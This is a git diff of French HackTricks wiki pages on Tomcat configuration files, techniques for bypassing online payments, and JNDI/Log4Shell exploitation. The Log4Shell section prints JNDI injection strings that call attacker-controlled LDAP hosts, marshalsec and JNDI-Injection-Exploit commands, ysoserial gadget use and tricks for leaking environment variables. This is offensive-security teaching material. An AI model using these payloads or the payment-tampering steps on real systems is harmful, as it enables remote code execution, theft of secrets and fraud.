Ensuite, un nouveau mappage de servlet est créé pour **mapper les requêtes vers `/admin` avec `AdminServlet`**. Cette configuration enverra toute requête reçue pour **`/admin` à la classe `AdminServlet.class`** pour traitement. Le descripteur **`web.xml`** contient beaucoup d'**informations sensibles** et est un fichier important à vérifier lors de l'exploitation d'une **vulnérabilité d'inclusion de fichier local (LFI)**.
|
||||
Ensuite, un nouveau mappage de servlet est créé pour **associer les requêtes à `/admin` avec `AdminServlet`**. Cette configuration enverra toute requête reçue pour **`/admin` à la classe `AdminServlet.class`** pour traitement. Le descripteur **`web.xml`** contient beaucoup d'**informations sensibles** et est un fichier important à vérifier lors de l'exploitation d'une **vulnérabilité d'inclusion de fichier local (LFI)**.
|
||||
|
||||
### tomcat-users
|
||||
|
||||
Le fichier **`tomcat-users.xml`** est utilisé pour **autoriser** ou refuser l'accès aux pages d'administration **`/manager` et `host-manager`**.
|
||||
Le fichier **`tomcat-users.xml`** est utilisé pour **autoriser** ou interdire l'accès aux pages d'administration **`/manager` et `host-manager`**.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
|
@ -141,14 +149,20 @@ Le fichier nous montre à quoi donnent accès chacun des rôles `manager-gui`, `
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
@ -14,25 +14,32 @@ D'autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Techniques de Contournement de Paiement
|
||||
|
||||
### Interception de Requêtes
|
||||
Pendant le processus de transaction, il est crucial de surveiller les données échangées entre le client et le serveur. Cela peut être fait en interceptant toutes les requêtes. Dans ces requêtes, recherchez des paramètres ayant des implications significatives, tels que :
|
||||
Pendant le processus de transaction, il est crucial de surveiller les données échangées entre le client et le serveur. Cela peut être fait en interceptant toutes les requêtes. Dans ces requêtes, soyez attentif aux paramètres ayant des implications significatives, tels que :
|
||||
|
||||
- **Succès** : Ce paramètre indique souvent l'état de la transaction.
|
||||
- **Référent** : Il peut indiquer la source d'où provient la requête.
|
||||
- **Rappel** : Il est généralement utilisé pour rediriger l'utilisateur après qu'une transaction soit terminée.
|
||||
|
||||
### Analyse d'URL
|
||||
Si vous rencontrez un paramètre contenant une URL, en particulier suivant le modèle _example.com/payment/MD5HASH_, il nécessite un examen plus approfondi. Voici une approche étape par étape :
|
||||
Si vous rencontrez un paramètre contenant une URL, en particulier suivant le modèle _exemple.com/paiement/MD5HASH_, il nécessite un examen plus approfondi. Voici une approche étape par étape :
|
||||
|
||||
1. **Copiez l'URL** : Extrayez l'URL de la valeur du paramètre.
|
||||
2. **Inspection dans une Nouvelle Fenêtre** : Ouvrez l'URL copiée dans une nouvelle fenêtre de navigateur. Cette action est cruciale pour comprendre le résultat de la transaction.
|
||||
|
||||
### Manipulation de Paramètres
|
||||
1. **Modifier les Valeurs des Paramètres** : Expérimentez en modifiant les valeurs des paramètres tels que _Succès_, _Référent_ ou _Rappel_. Par exemple, changer un paramètre de `false` à `true` peut parfois révéler comment le système gère ces entrées.
|
||||
2. **Supprimer des Paramètres** : Essayez de supprimer certains paramètres complètement pour voir comment le système réagit. Certains systèmes peuvent avoir des solutions de repli ou des comportements par défaut lorsque les paramètres attendus sont manquants.
|
||||
1. **Modifier les Valeurs des Paramètres** : Expérimentez en modifiant les valeurs des paramètres comme _Succès_, _Référent_ ou _Rappel_. Par exemple, changer un paramètre de `false` à `true` peut parfois révéler comment le système gère ces entrées.
|
||||
2. **Supprimer des Paramètres** : Essayez de supprimer certains paramètres complètement pour voir comment le système réagit. Certains systèmes peuvent avoir des solutions de repli ou des comportements par défaut lorsque des paramètres attendus sont manquants.
|
||||
|
||||
### Altération de Cookies
|
||||
1. **Examiner les Cookies** : De nombreux sites web stockent des informations cruciales dans les cookies. Inspectez ces cookies pour toute donnée liée à l'état du paiement ou à l'authentification de l'utilisateur.
|
||||
|
@ -44,3 +51,23 @@ Si vous rencontrez un paramètre contenant une URL, en particulier suivant le mo
|
|||
### Altération de Réponses
|
||||
1. **Intercepter les Réponses** : Utilisez des outils pour intercepter et analyser les réponses du serveur. Recherchez des données qui pourraient indiquer une transaction réussie ou révéler les prochaines étapes du processus de paiement.
|
||||
2. **Modifier les Réponses** : Tentez de modifier les réponses avant qu'elles ne soient traitées par le navigateur ou l'application pour simuler un scénario de transaction réussie.
|
||||
|
||||
**Groupe de Sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'Équipe Rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
|
@ -14,6 +14,14 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
**Groupe de sécurité Try Hard**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Informations de base
|
||||
|
||||
JNDI, intégré dans Java depuis la fin des années 1990, sert de service de répertoire, permettant aux programmes Java de localiser des données ou des objets via un système de nommage. Il prend en charge divers services de répertoire via des interfaces de fournisseur de services (SPI), permettant la récupération de données à partir de différents systèmes, y compris des objets Java distants. Les SPI courants incluent CORBA COS, le registre Java RMI et LDAP.
|
||||
|
@ -28,10 +36,10 @@ Les objets Java peuvent être stockés et récupérés à l'aide de références
|
|||
Cependant, ce mécanisme peut être exploité, entraînant potentiellement le chargement et l'exécution de code arbitraire. Comme mesure de protection :
|
||||
|
||||
* **RMI** : `java.rmi.server.useCodeabseOnly = true` par défaut à partir de JDK 7u21, restreignant le chargement d'objets distants. Un gestionnaire de sécurité limite davantage ce qui peut être chargé.
|
||||
* **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. Si défini sur `true`, l'exécution de code à distance est possible sans surveillance d'un gestionnaire de sécurité.
|
||||
* **LDAP** : `com.sun.jndi.ldap.object.trustURLCodebase = false` par défaut à partir de JDK 6u141, 7u131, 8u121, bloquant l'exécution d'objets Java chargés à distance. S'il est défini sur `true`, l'exécution de code à distance est possible sans surveillance d'un gestionnaire de sécurité.
|
||||
* **CORBA** : N'a pas de propriété spécifique, mais le gestionnaire de sécurité est toujours actif.
|
||||
|
||||
Cependant, le **Gestionnaire de nommage**, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela présente un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||||
Cependant, le **Gestionnaire de noms**, responsable de la résolution des liens JNDI, ne dispose pas de mécanismes de sécurité intégrés, permettant potentiellement la récupération d'objets à partir de n'importe quelle source. Cela présente un risque car les protections RMI, LDAP et CORBA peuvent être contournées, entraînant le chargement d'objets Java arbitraires ou l'exploitation de composants d'application existants (gadgets) pour exécuter du code malveillant.
|
||||
|
||||
Des exemples d'URL exploitables incluent :
|
||||
|
||||
|
@ -45,7 +53,7 @@ Malgré les protections, des vulnérabilités subsistent, principalement en rais
|
|||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez indiquer un autre dans une recherche et y accéder : `ctx.lookup("<URL-contrôlée-par-l'attaquant>")` et c'est ce qu'un attaquant exploitera pour charger des objets arbitraires à partir d'un système contrôlé par lui.
|
||||
Même si vous avez défini un **`PROVIDER_URL`**, vous pouvez indiquer un autre dans une recherche et y accéder : `ctx.lookup("<url-contrôlée-par-l'attaquant>")` et c'est ce qu'un attaquant exploitera pour charger des objets arbitraires à partir d'un système contrôlé par lui.
|
||||
|
||||
### Aperçu de CORBA
|
||||
|
||||
|
@ -69,9 +77,9 @@ Pour RMI (Invocation de Méthode à Distance), la situation est quelque peu diff
|
|||
|
||||
### LDAP
|
||||
|
||||
Tout d'abord, nous devons distinguer entre une Recherche et une Recherche.\
|
||||
Tout d'abord, nous devons distinguer entre une Recherche et un Lookup.\
|
||||
Une **recherche** utilisera une URL comme `ldap://localhost:389/o=JNDITutorial` pour trouver l'objet JNDITutorial à partir d'un serveur LDAP et **récupérer ses attributs**.\
|
||||
Une **recherche** est destinée aux **services de nommage** car nous voulons obtenir **tout ce qui est lié à un nom**.
|
||||
Un **lookup** est destiné aux **services de nommage** car nous voulons obtenir **tout ce qui est lié à un nom**.
|
||||
|
||||
Si la recherche LDAP a été invoquée avec **SearchControls.setReturningObjFlag() avec `true`, alors l'objet retourné sera reconstruit**.
|
||||
|
||||
|
@ -95,22 +103,22 @@ Il est plus facile d'attaquer ce LDAP en utilisant des **références JavaFactor
|
|||
|
||||
## Vulnérabilité Log4Shell
|
||||
|
||||
La vulnérabilité est introduite dans Log4j car il prend en charge une [**syntaxe spéciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) sous la forme `${préfixe:nom}` où `préfixe` est l'un de plusieurs [**Recherches**](https://logging.apache.org/log4j/2.x/manual/lookups.html) différentes où `nom` doit être évalué. Par exemple, `${java:version}` est la version actuelle de Java en cours d'exécution.
|
||||
La vulnérabilité est introduite dans Log4j car il prend en charge une [**syntaxe spéciale**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) sous la forme `${préfixe:nom}` où `préfixe` est l'un de plusieurs [**Recherches**](https://logging.apache.org/log4j/2.x/manual/lookups.html) où `nom` doit être évalué. Par exemple, `${java:version}` est la version actuelle de Java en cours d'exécution.
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) a introduit une fonction de recherche `jndi`. Cette fonction permet la récupération de variables via JNDI. En général, la clé est automatiquement préfixée par `java:comp/env/`. Cependant, si la clé elle-même inclut un **":"**, ce préfixe par défaut n'est pas appliqué.
|
||||
|
||||
Avec un **: présent** dans la clé, comme dans `${jndi:ldap://exemple.com/a}`, il n'y a **pas de préfixe** et le **serveur LDAP est interrogé pour l'objet**. Et ces Recherches peuvent être utilisées à la fois dans la configuration de Log4j et lors de la journalisation des lignes.
|
||||
|
||||
Par conséquent, la seule chose nécessaire pour obtenir une RCE est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications accessibles sur Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j n'est **pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée** et les données indiquées par le développeur.
|
||||
Par conséquent, la seule chose nécessaire pour obtenir une RCE est une **version vulnérable de Log4j traitant des informations contrôlées par l'utilisateur**. Et comme il s'agit d'une bibliothèque largement utilisée par les applications Java pour journaliser des informations (y compris les applications orientées Internet), il était très courant d'avoir des journaux log4j par exemple des en-têtes HTTP reçus comme l'User-Agent. Cependant, log4j n'est **pas utilisé uniquement pour journaliser des informations HTTP mais toute entrée** et les données indiquées par le développeur.
|
||||
## Vue d'ensemble des CVE liées à Log4Shell
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Critique]**
|
||||
|
||||
Cette vulnérabilité est une faille critique de **désérialisation non fiable** dans le composant `log4j-core`, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet l'**exécution de code à distance (RCE)**, permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma de défense sont disponibles ([Règle 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Règle 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
Cette vulnérabilité est une faille de désérialisation non fiable critique dans le composant `log4j-core`, affectant les versions de 2.0-beta9 à 2.14.1. Elle permet l'exécution de code à distance (RCE), permettant aux attaquants de prendre le contrôle des systèmes. Le problème a été signalé par Chen Zhaojun de l'équipe de sécurité d'Alibaba Cloud et affecte divers frameworks Apache. La correction initiale dans la version 2.15.0 était incomplète. Des règles Sigma de défense sont disponibles ([Règle 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Règle 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Critique]**
|
||||
|
||||
Initialement classée comme faible mais ensuite rehaussée au niveau critique, cette CVE est une faille de **Déni de Service (DoS)** résultant d'une correction incomplète dans la version 2.15.0 pour la CVE-2021-44228. Elle affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS à travers des charges utiles conçues. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de messages et en désactivant JNDI par défaut.
|
||||
Initialement classée comme faible mais ensuite rehaussée au niveau critique, cette CVE est une faille de **Déni de Service (DoS)** résultant d'une correction incomplète dans la version 2.15.0 pour la CVE-2021-44228. Elle affecte les configurations non par défaut, permettant aux attaquants de provoquer des attaques DoS à travers des charges utiles élaborées. Un [tweet](https://twitter.com/marcioalm/status/1471740771581652995) présente une méthode de contournement. Le problème est résolu dans les versions 2.16.0 et 2.12.2 en supprimant les modèles de recherche de messages et en désactivant JNDI par défaut.
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Élevée]**
|
||||
|
||||
|
@ -126,7 +134,7 @@ Log4j 2.16.0 contient une faille de DoS, entraînant la publication de `log4j 2.
|
|||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
|
||||
Affectant la version 2.17 de log4j, cette CVE nécessite que l'attaquant contrôle le fichier de configuration de log4j. Elle implique une exécution potentielle de code arbitraire via un JDBCAppender configuré. Plus de détails sont disponibles dans le billet de blog de [Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
Affectant la version 2.17 de log4j, cette CVE nécessite que l'attaquant contrôle le fichier de configuration de log4j. Elle implique une exécution de code arbitraire potentielle via un JDBCAppender configuré. Plus de détails sont disponibles dans le [billet de blog de Checkmarx](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/).
|
||||
|
||||
## Exploitation de Log4Shell
|
||||
|
||||
|
@ -219,14 +227,14 @@ Any other env variable name that could store sensitive information
|
|||
{% hint style="info" %}
|
||||
Les hôtes exécutant des versions JDK supérieures à 6u141, 7u131 ou 8u121 sont protégés contre le vecteur d'attaque de chargement de classe LDAP. Cela est dû à la désactivation par défaut de `com.sun.jndi.ldap.object.trustURLCodebase`, qui empêche JNDI de charger une base de code distante via LDAP. Cependant, il est crucial de noter que ces versions ne sont **pas protégées contre le vecteur d'attaque de désérialisation**.
|
||||
|
||||
Pour les attaquants cherchant à exploiter ces versions JDK plus élevées, il est nécessaire d'utiliser un **gadget de confiance** au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cette fin. En revanche, l'exploitation de versions JDK inférieures est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
|
||||
Pour les attaquants cherchant à exploiter ces versions JDK plus élevées, il est nécessaire d'utiliser un **gadget de confiance** au sein de l'application Java. Des outils comme ysoserial ou JNDIExploit sont souvent utilisés à cette fin. En revanche, l'exploitation des versions JDK inférieures est relativement plus facile car ces versions peuvent être manipulées pour charger et exécuter des classes arbitraires.
|
||||
|
||||
Pour **plus d'informations** (_comme les limitations sur les vecteurs RMI et CORBA_), **consultez la section de référence précédente sur le nommage JNDI** ou [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/)
|
||||
{% endhint %}
|
||||
|
||||
### RCE - Marshalsec avec charge utile personnalisée
|
||||
|
||||
Vous pouvez tester cela dans la **boîte THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
Vous pouvez tester ceci dans la **boîte THM:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
|
||||
|
||||
Utilisez l'outil [**marshalsec**](https://github.com/mbechler/marshalsec) (version jar disponible [**ici**](https://github.com/RandomRobbieBF/marshalsec-jar)). Cette approche établit un serveur de renvoi LDAP pour rediriger les connexions vers un serveur HTTP secondaire où l'exploit sera hébergé:
|
||||
```bash
|
||||
|
@ -250,12 +258,12 @@ Déclenchez l'exécution de la classe d'exploit sur le serveur web vulnérable e
|
|||
```bash
|
||||
${jndi:ldap://<LDAP_IP>:1389/Exploit}
|
||||
```
|
||||
**Remarque :** Cette faille repose sur la configuration de Java permettant le chargement à distance de la base de code via LDAP. Si cela n'est pas autorisé, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
|
||||
**Remarque :** Cette faille repose sur la configuration de Java permettant le chargement distant de la base de code via LDAP. Si cela n'est pas autorisé, envisagez d'exploiter une classe de confiance pour l'exécution de code arbitraire.
|
||||
|
||||
### RCE - **JNDIExploit**
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de Github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||||
Notez que pour une raison quelconque, l'auteur a supprimé ce projet de github après la découverte de log4shell. Vous pouvez trouver une version mise en cache sur [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) mais si vous souhaitez respecter la décision de l'auteur, utilisez une méthode différente pour exploiter cette vulnérabilité.
|
||||
|
||||
De plus, vous ne pouvez pas trouver le code source dans la machine à remonter le temps, donc analysez le code source ou exécutez le jar en sachant que vous ne savez pas ce que vous exécutez.
|
||||
{% endhint %}
|
||||
|
@ -302,11 +310,11 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_L'attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la **salle solaire THM**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'il n'exploite pas une classe de confiance pour exécuter du code arbitraire._
|
||||
_Cette attaque utilisant un objet Java généré sur mesure fonctionnera dans des laboratoires comme la **salle solaire THM**. Cependant, cela ne fonctionnera généralement pas (car par défaut, Java n'est pas configuré pour charger une base de code distante en utilisant LDAP) je pense parce qu'il n'exploite pas une classe de confiance pour exécuter du code arbitraire._
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Cette option est vraiment utile pour attaquer les **versions Java configurées pour faire confiance uniquement à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
|
||||
Cette option est vraiment utile pour attaquer les **versions Java configurées pour ne faire confiance qu'à des classes spécifiées et non à tout le monde**. Par conséquent, **ysoserial** sera utilisé pour générer des **sérialisations de classes de confiance** qui peuvent être utilisées comme gadgets pour **exécuter du code arbitraire** (_la classe de confiance exploitée par ysoserial doit être utilisée par le programme Java victime pour que l'exploit fonctionne_).
|
||||
|
||||
En utilisant **ysoserial** ou [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), vous pouvez créer l'exploit de désérialisation qui sera téléchargé par JNDI:
|
||||
```bash
|
||||
|
@ -361,7 +369,7 @@ La [**page de sécurité**](https://logging.apache.org/log4j/2.x/security.html)
|
|||
|
||||
> À partir de la version 2.17.0 (et 2.12.3 et 2.3.1 pour Java 7 et Java 6), **seules les chaînes de recherche dans la configuration sont étendues de manière récursive** ; dans tout autre usage, seule la recherche de niveau supérieur est résolue, et les recherches imbriquées ne sont pas résolues.
|
||||
|
||||
Cela signifie qu'en principe, vous pouvez **oublier l'utilisation de toute exploitation `jndi`**. De plus, pour effectuer des **recherches récursives**, vous devez les configurer.
|
||||
Cela signifie qu'en général, vous pouvez **oublier l'utilisation de toute exploitation `jndi`**. De plus, pour effectuer des **recherches récursives**, vous devez les configurer.
|
||||
|
||||
Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :
|
||||
```xml
|
||||
|
@ -373,7 +381,7 @@ Par exemple, dans ce CTF, cela était configuré dans le fichier log4j2.xml :
|
|||
### Recherches d'Environnement
|
||||
|
||||
Dans [ce CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), l'attaquant contrôlait la valeur de `${sys:cmd}` et devait exfiltrer le drapeau d'une variable d'environnement.\
|
||||
Comme vu sur cette page dans les [**charges précédentes**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
|
||||
Comme vu sur cette page dans les [**payloads précédents**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), il existe différentes façons d'accéder aux variables d'environnement, telles que: **`${env:FLAG}`**. Dans ce CTF, cela était inutile mais pourrait être utile dans d'autres scénarios réels.
|
||||
|
||||
### Exfiltration dans les Exceptions
|
||||
|
||||
|
@ -395,8 +403,8 @@ Cependant, il est possible d'utiliser certains **modèles de conversion qui pren
|
|||
|
||||
* **Recherche binaire via les messages d'exception**
|
||||
|
||||
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** du **contenu** d'une **chaîne** même en utilisant des **regex**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
|
||||
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception s'il n'était pas trouvé) comme ceci:
|
||||
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** du **contenu** dans une **chaîne** même en utilisant des **regex**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
|
||||
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception si ce n'était pas trouvé) comme ceci:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -441,6 +449,12 @@ Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l
|
|||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -450,7 +464,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
